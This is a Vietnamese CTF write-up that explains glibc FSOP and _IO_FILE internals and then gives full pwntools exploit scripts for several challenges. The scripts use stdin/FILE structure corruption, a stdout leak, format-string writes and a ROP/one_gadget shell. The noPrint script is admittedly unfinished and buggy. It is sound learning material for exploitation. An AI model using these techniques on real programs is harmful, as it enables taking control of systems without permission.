# FSOP
## Giải thích
- Trước khi tìm hiểu về fsop, ta sẽ tìm hiểu cơ chế của nó trước: đây là hàm read truyền thống
```
fd = ("/home/a.txt", O_RDWR)
read(fd, buf, 30)
```
- Đầu tiên fd là file descriptor, ta có các mô tả file descriptor như sau: 0 là nhập từ bàn phím, 1 là xuất ra màn hình, 2 là thông báo lỗi, 3 -> lên là mở file. Sau đó hàm read sẽ đọc dữ liệu từ fd vào buf 30 byte, fd sẽ tương tác với kernelspace, tại đây nó sẽ trỏ tới process file table: gồm các mô tả file descriptor. từ bảng này trỏ tới bảng File struct trong Global File Table, trong File struct có 2 cái căn bản là offset, và inode ptr, offset là khoảng cách trong bộ nhớ, inode ptr là con trỏ trỏ tới Inode Table, trong Inode Table có inode struct gồm: mode và block, nó sẽ chứa các thông tin như quyền đối với file, kích thước file
- Libc có các hàm hoạt động hiệu quả hơn các hàm truyền thống như: fopent, fread, fwrite, .... Ví dụ: fopent không trả về fd mà trả về con trỏ tệp, fread và fwrite cũng không hoạt động dựa vào mô tả tệp mà dựa vào con trỏ tệp
- So sánh: Nếu ta chỉ gọi 1 lần thì kiểu fd sẽ nhanh hơn con trỏ tệp, nhưng nếu gọi nhiều lần thì mỗi lần gọi fd đều phải tương tác với kernel, còn con trỏ tệp sẽ sử dụng lại nên sẽ nhanh hơn
- Khi ta gọi fopent `fopen (const char *filename, const char *mode)` thực ra là gọi _IO_file_open(), _IO_file_open() thao tác với struct _IO_FILE
```
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
```
- Ta sẽ phân tích _IO_FILE:
-- int _flag:
```
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000
/* Bits for the _flags2 field. */
#define _IO_FLAGS2_MMAP 1
#define _IO_FLAGS2_NOTCANCEL 2
#define _IO_FLAGS2_USER_WBUF 8
#define _IO_FLAGS2_NOCLOSE 32
#define _IO_FLAGS2_CLOEXEC 64
#define _IO_FLAGS2_NEED_LOCK 128
```
-- _flag ảnh hưởng lớn đến hoạt động _IO_FILE, có cờ chỉ cho đọc không cho ghi, có cờ cho ghi không cho đọc, đó cũng là nguyên nhân khiến cờ flag trong stdin khác với stdout
-- read: khi đọc hết buf mới gọi syscall read, vì lý do này nên số lần gọi syscall read sẽ ít hơn --> nguyên nhân nhanh hơn fd
-- write: ghi từ bộ đệm, tương tự như read
-- int _fileno: file descriptor
- Qua đó ta sẽ có các cách khai thác:
-- Muốn ghi vào vùng nhớ tùy ý: fread() -> _IO_read() -> _IO_sgetn() nếu buf còn copy từ read_ptr, buf hết gọi _IO_file_underflow() thiết lập lại read_ptr và read_end. Vậy ta có thể làm: set _flag, read_ptr = read_end, để khi bắt đầu ghi, nó sẽ thiết lập lại read_ptr = buf_base và read_end = buf_end, buf_base: địa chỉ bắt đầu vùng nhớ muốn ghi, buf_end = buf_base + offset
-- Muốn đọc(leak địa chỉ): ta cần thiết lập write_ptr > write_base, thì dữ liệu giữa 2 con trỏ sẽ được in ra (cách thức tương tự read)
- Trong các _IO_FILE_plus còn có const struct _IO_jump_t *vtable
- Đây là 1 bảng vtable có tên _IO_file_jump:
```
const struct _IO_jump_t _IO_file_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_file_finish),
JUMP_INIT(overflow, _IO_file_overflow),
JUMP_INIT(underflow, _IO_file_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_default_pbackfail),
JUMP_INIT(xsputn, _IO_file_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_new_file_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, _IO_new_file_sync),
JUMP_INIT(doallocate, _IO_file_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
```
- fwrite() -> _IO_fwrite() -> _IO_new_filexsputn() -> file -> vtable -> xsputn(file, buffer, size)
- Nó quản lý cách thức đọc ghi đóng file, ... qua các con trỏ hàm
- Các glibc phiên bản cũ ta có thể overwrite 1 trong các con trỏ trong vtable để lấy shell, tuy nhiên từ glibc 2.28 trở đi đã có cơ chế bảo vệ vtable. Các cơ chế bảo vệ:
-- Nếu ta có thể ghi vào _IO_FILE, ta sẽ tràn xuống vtable, các con trỏ trên có thể thiết lập = null hoặc mặc định, tuy nhiên nếu làm thay đổi _IO_lock_t *_lock thì có thể gây ra hành vi không hợp lệ làm chương trình lỗi
-- RelRO bật --> địa chỉ vtable ở vùng libc không ghi được
-- Có struct kiểm tra sự thay đổi vtable:
```
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
uintptr_t ptr = (uintptr_t) vtable;
uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}
```
- Nó sẽ có bộ nhớ chứa các vtable hợp lệ, độ dài vùng vtable
- Ta có thể thay đổi vtable trỏ tới các bảng vtable khác, miễn sao nó vẫn thuộc vùng nhớ các bảng vtable thì vẫn hợp lệ
- Ngoài ra ta còn có struct wide_data:
```
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
```
- Là bản mở rộng _IO_FILE, giúp quản lý luồng nhập xuất với kí tự rộng(wchar_t)
- _chain: `struct _IO_FILE *_chain;` là con trỏ kiểu danh sách liên kết đơn liên kết tất cả các _IO_FILE lại với nhau, nó phụ vụ quản lý bộ đệm và giải phóng stream khi chương trình kết thúc
# iofile_aw
## Phân tích
- bài này cho file sourc, ta sẽ phân tích file sourc:
```
// gcc -o iofile_aw iofile_aw.c -fno-stack-protector -Wl,-z,relro,-z,now
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char buf[80];
int size = 512;
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
void read_str()
{
fgets(buf, sizeof(buf) - 1, stdin);
}
void get_shell()
{
system("/bin/sh");
}
void help()
{
printf("read: Read a line from the standard input and split it into fields.\n");
}
void read_command(char *s)
{
/*No overflow here */
int len;
len = read(0, s, size);
if (s[len - 1] == '\x0a')
s[len - 1] = '\0';
}
int main(int argc, char *argv[])
{
int idx = 0;
int sel;
char command[512];
long *dst = 0;
long *src = 0;
memset(command, 0, sizeof(command) - 1);
initialize();
while (1)
{
printf("# ");
read_command(command);
if (!strcmp(command, "read"))
{
read_str();
}
else if (!strcmp(command, "help"))
{
help();
}
else if (!strncmp(command, "printf", 6))
{
if (strtok(command, " "))
{
src = (long*) strtok(NULL, " ");
dst = (long*) stdin;
if (src)
memcpy(dst, src, 0x40);
}
}
else if (!strcmp(command, "exit"))
{
return 0;
}
else
{
printf("%s: command not found\n", command);
}
}
return 0;
}
```
- Tổng quán chương trình: đầu tiên chương trình sẽ gọi hàm read_command cho ta nhập vào qua hàm read, tối đa với kích thước của size = 512 kí tự, ta có thể lựa chọn như read, help, printf, exit + space hoặc b'\00' + dữ liệu phía sau
1) Nếu ban đầu ta nhập read thì chương trình sẽ gọi hàm read_str, cho phép nhập vào buf với kích thước 79
2) Nếu chọn help: in ra dòng "read: Read a line from the standard input and split it into fields."
3) Nếu chọn printf: sẽ bỏ space, chỉ lấy phần dữ liệu đằng sau, phần dữ liệu đó sẽ được gán vào biến src, địa chỉ stdin sẽ được gán vào biến dst, sau đó hàm memcpy sẽ sao chép dữ liệu từ biến src vào địa chỉ tại biến dst với kích thước 0x40 bytes
4) Nếu chọn exit: thoát chương trình
- Ở đây ta có lỗi chính là memcpy sẽ ghi dữ liệu vào _IO_FILE mà trong _IO_FILE chứa các con trỏ flag, _IO_read_ptr, _IO_rebytesad_base, _IO_read_end, _IO_write_ptr, _IO_write_base, _IO_write_end, _IO_buf_base, _IO_buf_end. Vậy nếu ta nhập lựa chọn printf + dữ liệu, ta có thể overwrite các con trỏ này

- Ý tưởng: ta có hàm get_shell, vậy mục tiêu của ta sẽ nhảy vào hàm này, ta có thể overwrite _IO_buf_base, vậy ta có thể thay đổi địa chỉ này thành địa chỉ vùng write trên bộ nhớ

- Kiểm tra vùng write thì ta thấy size = 0x200, vậy ta sẽ overwrite _IO_buf_base ghi vào vùng này, để đổi kích thước size sao cho khi ta nhập vào lần nữa đủ khả năng overwrite save rip main
- Đầu tiên ta sẽ overwrite _IO_FILE
```
pl1 = b'printf '
pl1 += p64(0x00000000fbad208b) //giữ cờ flag để stdin vẫn hoạt động
pl1 += p64(0)*6
pl1 += p64(size)
sa(b'# ', pl1)
```

- sau đó ta sẽ gọi hàm fgets, hàm này sẽ kích hoạt stdin và ghi vào size
```
sa(b'# ', b'read' + b'\00')
input(b'aaaaa')
sl(p64(0x1000))
```

- size đã thay bằng 0x1000
- Ta sẽ tràn và ghi đè save rip main, lưu ý, khi nhập read, ta phải thêm 1 byte '\00' vì trên stack trước đó đã ghi printf, nếu không có byte null, read ta nhập sẽ thành readtf, và không phù hợp
```
pl2 = b'exit' + b'\00'
pl2 += cyclic(547)
pl2 += p64(exe.sym['get_shell'])
sa(b'# ', pl2)
```
- Lấy được shell

## fullscript
```
#!/usr/bin/env python3
from pwn import *
exe = ELF("./iofile_aw_patched")
libc = ELF("./libc-2.23.so")
ld = ELF("./ld-2.23.so")
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
slan = lambda msg, num: sla(msg, str(num).encode())
san = lambda msg, num: sa(msg, str(num).encode())
sln = lambda num: sl(str(num).encode())
sn = lambda num: s(str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript=f'''
gef
b* main +107
b* main +302
c
''')
if args.REMOTE:
conn = 'nc host1.dreamhack.games 19220'.split()
p = remote(conn[1], int(conn[2]))
else:
p = process(exe.path)
GDB()
size = 0x602010
# 0x7ffff7f868e0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007ffff7f86963
# 0x7ffff7f868f0 <_IO_2_1_stdin_+16>: 0x00007ffff7f86963 0x00007ffff7f86963
# 0x7ffff7f86900 <_IO_2_1_stdin_+32>: 0x00007ffff7f86963 0x00007ffff7f86963
# 0x7ffff7f86910 <_IO_2_1_stdin_+48>: 0x00007ffff7f86963 0x00007ffff7f86963
# 0x7ffff7f86920 <_IO_2_1_stdin_+64>: 0x00007ffff7f86964 0x0000000000000000
# 0x7ffff7f86930 <_IO_2_1_stdin_+80>: 0x0000000000000000
pl1 = b'printf '
pl1 += p64(0x00000000fbad208b)
pl1 += p64(0)*6
pl1 += p64(size)
sa(b'# ', pl1)
sa(b'# ', b'read' + b'\00')
input(b'aaaaa')
sl(p64(0x1000))
pl2 = b'exit' + b'\00'
pl2 += cyclic(547)
pl2 += p64(exe.sym['get_shell'])
sa(b'# ', pl2)
p.interactive()
```
# _IO_FILE Arbitrary Address Write
## phân tích
- Bài này ta có 2 hàm cần quan tâm là main và read_flag


- Trong hàm main, ta sẽ mở file isue, buf sẽ là con trỏ kiểu file trỏ tới _IO_FILE, sau đó hàm read sẽ đọc 300 bytes vào buf, điều đó sẽ khiến ghi vào phần _IO_FILE. fread sẽ sao chép 1023 bytes từ buf vào địa chỉ ptr, mà buf là con trỏ kiểu file, vậy fread sẽ sao chép dữ liệu từ file isue vào địa chỉ con trỏ ptr, sau đó check giá trị của overwrite_me = 0xdeadbeef thì gọi hàm lấy flag
- Check địa chỉ overwrite_me

- Ý tưởng: ta sẽ nhập để sửa _IO_buf_base thành địa chỉ 0x6014a0, và sửa file issue thành 0xdeadbeef
```
pl = p64(0x00000000fbad2488)
pl += p64(0)*6
pl += p64(0x6014a0)
sa(b'Data: ', pl)
```
- Tuy nhiên khi làm thì thấy rằng dữ liệu không ghi vào overwrite_me, có khả năng fread đọc 1024 byte, nên _IO_buf_base -> _IO_buf_end = 1024 bytes, vậy ta overwrite thêm _IO_buf_end = địa chỉ overwrite + 1024

- Mặc dù đã ghi vào overwrite_me, nhưng do đọc từ file, nên ta không có cách nào truyền vào để overwrite_me = 0xdeadbeef, vậy ta sẽ tìm cách khác, kiểm tra lại _IO_FILE

- chúng ta thấy có địa chỉ `0x2198a2d0: 0x0000000000000003`, có vẻ 0x3 giống điều kiện mở tệp trong file descriptor, vậy ta sẽ thay bằng 0x0, để thay vì đọc file thì sẽ đọc từ bàn phím, qua đó khi hàm fread được gọi, thay vì lấy dữ liệu từ file issue, nó sẽ lấy dữ liệu từ bàn phím, sau đó ta chỉ cần truyền p64(0xdeadbeef) vào là được
```
pl = p64(0x00000000fbad2488)
pl += p64(0)*6
pl += p64(0x6014a0)
pl += p64(0x6014a0 + 1024)
pl += p64(0)*6
sa(b'Data: ', pl)
input(b'aaa')
pl1 = p64(0xdeadbeef) + b'a'*1016
sl(pl1)
```
- Ta phải truyền >= 1024 bytes, vì fread sẽ chờ và khi nào đọc đủ 1024 bytes mới tiếp tục

- Đã gọi được hàm read_flag
## fullscript
```
#!/usr/bin/env python3
from pwn import *
exe = ELF("./iofile_aaw_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
slan = lambda msg, num: sla(msg, str(num).encode())
san = lambda msg, num: sa(msg, str(num).encode())
sln = lambda num: sl(str(num).encode())
sn = lambda num: s(str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript=f'''
gef
b* main +99
b* main +134
b* main +166
c
''')
if args.REMOTE:
conn = 'nc host1.dreamhack.games 15424'.split()
p = remote(conn[1], int(conn[2]))
else:
p = process(exe.path)
GDB()
pl = p64(0x00000000fbad2488)
pl += p64(0)*6
pl += p64(0x6014a0)
pl += p64(0x6014a0 + 1024)
pl += p64(0)*6
sa(b'Data: ', pl)
input(b'aaa')
pl1 = p64(0xdeadbeef) + b'a'*1016
sl(pl1)
p.interactive()
```
# Einstein
## Phân tích
- Bài này ta quan tâm là hàm handle():

- Đầu tiên ta nhập vào size, điều kiện size > 0x27 bytes, sau đó malloc với kích thước size vừa nhập, tiếp theo nhập vào offset, rồi nhập vào tại địa chỉ malloc + với offset ta vừa nhập qua hàm read, cuối cùng ta nhập 4 lần, với lần 1 và 3 là địa chỉ ta cần thay đổi, và 2 và 4 là giá trị thay đổi tại địa chỉ đó
- Ta có thể thấy rằng sau hàm read có dùng puts, bài này là địa chỉ động tất cả, vậy chỉ có thể làm gì đó với hàm read để puts leak địa chỉ
- Đầu tiên ta thấy địa chỉ ta ghi qua hàm read là địa chỉ heap, tuy nhiên khi maloc với 1 kích thước cực lớn, bộ nhớ heap không đủ, nó sẽ dùng mmap(), qua đó ta có thể ghi vào vùng libc
- Hàm puts sẽ gọi stdout để in dữ liệu --> ý tưởng sẽ là thay đổi _IO_write_ptr > _IO_write_base, qua đó puts sẽ in dữ liệu từ vùng _IO_write_base đi, qua đó ta có thể leak libc và stack
```
size = str(0x800000).encode()
sla(b'story ?', size)
offset = str(0x10000 + 10422200).encode()
sla(b'space ?', offset)
pl = b'\x00\xff'
sa(b'wisely.', pl)
```


- Ta có thể thấy sau địa chỉ _IO_write_base trỏ tới có địa chỉ libc và địa chỉ stack , ta sẽ lấy 2 địa chỉ này phục vụ việc tính toán
```
r(8)
libc_leak = u64(r(16)[5:][:-3])
stack_leak = u64(ru(b'\x7f')[-6:] + b'\00\00') - 288
ru(b'it ???')
libc.address = libc_leak - 2099440
log.info(hex(stack_leak))
log.info(hex(libc_leak))
log.info(hex(libc.address))
```
- Sau đó ta sẽ overwrite địa chỉ ret handle trên stack thành gọi one gadget, ta sẽ dùng one_gadget này vì rax = null, chỉ việc set thêm địa chỉ rbp-0x78 null
```
constraints:
address rbp-0x50 is writable
rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
```

- Chiếm được shell

## fullscript
```
#!/usr/bin/env python3
from pwn import *
exe = ELF("./einstein_patched")
libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.38.so")
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
slan = lambda msg, num: sla(msg, str(num).encode())
san = lambda msg, num: sa(msg, str(num).encode())
sln = lambda num: sl(str(num).encode())
sn = lambda num: s(str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript=f'''
gef
b* handle +203
b* handle +218
b* handle +249
b* handle +280
b* handle +333
c
''')
if args.REMOTE:
conn = 'nc localhost 1337'.split()
p = remote(conn[1], int(conn[2]))
else:
p = process(exe.path)
GDB()
size = str(0x800000).encode()
sla(b'story ?', size)
offset = str(0x10000 + 10422200).encode()
sla(b'space ?', offset)
pl = b'\x00\xff'
sa(b'wisely.', pl)
r(8)
libc_leak = u64(r(16)[5:][:-3])
stack_leak = u64(ru(b'\x7f')[-6:] + b'\00\00') - 288
ru(b'it ???')
libc.address = libc_leak - 2099440
log.info(hex(stack_leak))
log.info(hex(libc_leak))
log.info(hex(libc.address))
a1 = str(stack_leak).encode()
a2 = str(libc.address + 0xeb66b).encode()
a3 = str(stack_leak -112).encode()
a4 = str(0).encode()
sl(a1)
sl(a2)
sl(a3)
sl(a4)
p.interactive()
```
- Bài này em chạy trên docker bị lỗi
# noPrint
## Phân tích
- Bài này có sourc:
```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#define BUF_SIZE 0x100
void init(char *argv[], char **envp) {
for (int i = 0; argv[i]; i++) argv[i] = NULL;
for (int i = 0; envp[i]; i++) envp[i] = NULL;
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void main(int argc, char *argv[], char **envp)
{
FILE *stream;
char *buf;
puts("Hello from the void");
init(argv, envp);
setbuf(stdout, NULL);
setbuf(stdin, NULL);
stream = fopen("/dev/null", "a");
buf = malloc(BUF_SIZE);
while (1) {
buf[read(STDIN_FILENO, buf, BUF_SIZE) - 1] = '\0';
fprintf(stream, buf);
}
}
```
- Đầu tiên mở /dev/null vào con trỏ stream, nhưng /dev/null là 1 dạng đặc biệt nên mọi dữ liệu vào đây đề bị xóa. Sau đó malloc với kích thước 0x100, đến vòng lặp while, cho phép ta nhập vô tận qua hàm read, bytes cuối ta nhập vào sẽ được set thành null, sau đó gọi hàm fprintf --> format string, nhưng vì dữ liệu bị set về null nên không có dữ liệu nào được in ra cả
- Hướng đi, có lỗi format string, ta có thể thay đổi 1 số địa chỉ, nhưng bài này toàn bộ địa chỉ đều động, vậy ta chỉ có thể dùng `*` trong format string để ghi và mục tiêu đầu tiên là phải leak được địa chỉ

- Qua ảnh ta thấy tại stack số 9 là địa chỉ heap trỏ tới 1 cấu trúc có vẻ giống _IO_FILE, còn stack số 10 là địa chỉ heap trỏ tới vùng dữ liệu ta nhập, vậy ta có thể dùng `%*c` để thay đổi địa chỉ tại stack 10 thành địa chỉ stack 9, để làm được điều đó ta cần 1 địa chỉ stack trỏ tới địa chỉ stack thứ 10, ta có thể thay đổi giá trị con trỏ tại stack 11 trỏ tới thành địa chỉ stack 10
```
pl = f'%*7$hc%{0x10000 - (312 % 0x10000) + 8}c%11$hn%7$hn'.encode()
s(pl)
```
- Sau khi thay đổi ta sẽ thấy stack như sau:

- Vậy ta chỉ việc dùng fmt để thay đổi thôi, con trỏ tại stack 11 là địa chỉ stack 31
```
pl = f'%*9$hc%{0x10000 - (312 % 0x10000) + 192}c%31$hn%7$hn'.encode()
s(pl)
```
- Lưu ý, vì bài này fmt qua heap, nên sẽ có tỉ lệ fmt không đúng -> phải brute froce
- Tuy đã thay đổi, ta có thể sửa cấu trúc _IO_FILE như sau: cờ flag = stdout, descriptor = 0x1, để từ fprintf thành printf, tuy nhiên vấn đề mới lại xảy ra, nếu ta cho địa chỉ tại stack 10 = địa chỉ _IO_FILE luôn thì lần nhập sau để leak địa chỉ sẽ làm hỏng cấu trúc _IO_FILE, từ đó gây ra lỗi --> ta giải quyết bằng cách sửa lại, địa chỉ heap thay đổi tại stack 10 sẽ thấp hơn địa chỉ heap chứa _IO_FILE

- Sau đó ta sẽ dùng fmt để leak địa chỉ heap, stack, binary trên stack
```
pl = p64(0)*14 + p64(0x00000000000001e1) + p64(0x00000000fbad2887) + p64(0)*13 + p64(0x1)
s(pl)
pl = f'%12$paaa%16$paaa%17$paaa'.encode()
s(pl)
r(timeout=1)
libc.address = int(r(14), 16) - 172984
r(3)
exe.address = int(r(14), 16) - 4836
r(3)
stack_leak = int(r(14), 16) - 352
```
- Sau khi đã có được hết các địa chỉ, vì không thể nhảy tới được ret main, nên hướng đi của ta sẽ là ret read, vậy mục tiêu là thay đổi stack 10 từ địa chỉ heap thành địa chỉ stack 5. Tuy nhiên ta chỉ có thể thay đổi 2 bytes 1, mà nếu ta thay đổi lần lượt thì địa chỉ stack 10 sẽ không hợp lệ khi thay 4 bytes cao, vậy chỉ có cách là thay trong 1 lần fmt, để thay trong 1 lần, ta phải thiết lập 3 địa chỉ stack chứa con trỏ trỏ với vị trí lần lượt là heap+0, heap+2, heap+4, tuy nhiên 1 vấn đề mới lại xảy ra, vì địa chỉ stack thay đổi mỗi lần chạy, vậy nếu ta thay như vậy thì có khả năng địa chỉ fmt trước sẽ > địa chỉ fmt sau, khi ta lấy địa chỉ fmt sau - địa chỉ fmt trước sẽ âm, làm giá trị ghi không đúng, quan sát địa chỉ stack, ta thấy 2 bytes cao nhất thường > 2 bytes giữa, vậy ta chỉ việc chuyển fmt đầu ghi 1 byte tại vị trí bytes thứ 2, và nó vẫn thuộc vùng stack ghi được nên sẽ không lỗi, sau đó ta chỉ việc dùng fmt 1 lần nữa sửa bytes thấp nhất
```
a0 = (stack_leak + 49) & 0xffff // địa chỉ stack trỏ tới heap+1
a1 = (stack_leak + 50) & 0xffff // địa chỉ stack trỏ tới heap+2
b1 = (stack_leak >> 8) & 0xff // địa chỉ stack cần thay thế địa chỉ heap tại heap+1
b2 = (stack_leak >> 16) & 0xffff // địa chỉ stack cần thay thế địa chỉ heap tại heap+2
b3 = (stack_leak >> 32) & 0xffffff // địa chỉ stack cần thay thế địa chỉ heap tại heap+4
x = stack_leak & 0xffff //2 bytes thấy stack 5
pl = f'%{x + 16}c%11$hna'.encode() //thay đổi stack 11 trỏ tới stack 6
s(pl)
input(b'aaaa')
pl = f'%{a0}c%31$hhna'.encode() // thay đổi giá trị stack 6 thành heap +1
s(pl)
input(b'aaaa')
pl = f'%{x + 16 + 8}c%11$hna'.encode() //thay đổi stack 11 trỏ tới stack 7
s(pl)
input(b'aaaa')
pl = f'%{a1}c%31$hna'.encode() // thay đổi giá trị stack 7 thành heap +2
s(pl)
input(b'aaaa')
pl = f'%{x + 43}c%11$hna'.encode() // thay đổi giá trị stack 31 thành heap +4
s(pl)
input(b'aaaa')
pl = f'%{b1}c%6$hhn%{b2 - b1}c%7$hn%{b3 - b2}c%31$hna'.encode() //thay đổi stack 10 thành địa chỉ stack 5
s(pl)
input('aaa')
```
- Chú thích:
1) địa chỉ stack 5: địa chỉ ret read
2) địa chỉ stack 6: địa chỉ thay đổi heap+1
3) địa chỉ stack 7: địa chỉ thay đổi heap+2
4) địa chỉ stack 10: con trỏ read
5) địa chỉ stack 11: địa chỉ trung gian để thay đổi
6) địa chỉ stack 31: ban đầu là địa chỉ trung gian, sao là địa chỉ thay đổi heap+4
- Vì chỗ này em đang bị lỗi nên mới chỉ là trên suy nghĩ, và script này chưa có chỉnh lại byte thấp nhất của stack 10

- Sau khi chỉnh được giá trị tại stack 10, vì không có system, ta có thể overwrite với các gadget sau:
```
pop_rdi = libc.address + 0x00000000000cee4d
pop_rax = libc.address + 0x00000000000e3dd7
syscall = libc.address + 0x000000000009e2b6
pl = p64(pop_rdi) + p64(0x68732f6e69622f) + p64(pop_rax) + p64(0x3b) + p64(syscall)
s(pl)
```
## fullscript
```
#!/usr/bin/env python3
from pwn import *
import threading
exe = ELF("./noprint_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
slan = lambda msg, num: sla(msg, str(num).encode())
san = lambda msg, num: sa(msg, str(num).encode())
sln = lambda num: sl(str(num).encode())
sn = lambda num: s(str(num).encode())
r = lambda nbytes: p.recv(nbytes)
ru = lambda data: p.recvuntil(data)
rl = lambda : p.recvline()
r = lambda nbytes=None, timeout=None: p.recv(nbytes, timeout=timeout)
ru = lambda data=None, timeout=None: p.recvuntil(data, timeout=timeout)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript=f'''
gef
b* main +157
b* main +195
c
''')
if args.REMOTE:
conn = ''.split()
p = remote(conn[1], int(conn[2]))
else:
p = process(exe.path)
GDB()
pl = f'%*7$hc%{0x10000 - (312 % 0x10000) + 8}c%11$hn%7$hn'.encode()
s(pl)
input(b'aaaa')
pl = f'%*9$hc%{0x10000 - (312 % 0x10000) + 192}c%31$hn%7$hn'.encode()
s(pl)
input(b'aaaa')
pl = p64(0)*14 + p64(0x00000000000001e1) + p64(0x00000000fbad2887) + p64(0)*13 + p64(0x1)
s(pl)
# input(b'aaaa')
pl = f'%12$paaa%16$paaa%17$paaa'.encode()
s(pl)
r(timeout=1)
libc.address = int(r(14), 16) - 172984
r(3)
exe.address = int(r(14), 16) - 4836
r(3)
stack_leak = int(r(14), 16) - 352
log.info(hex(libc.address))
log.info(hex(exe.address))
log.info(stack_leak)
pop_rdi = libc.address + 0x00000000000cee4d
pop_rax = libc.address + 0x00000000000e3dd7
syscall = libc.address + 0x000000000009e2b6
input(b'aaaa')
a0 = (stack_leak + 49) & 0xffff
a1 = (stack_leak + 50) & 0xffff
a2 = (stack_leak + 52) & 0xffff
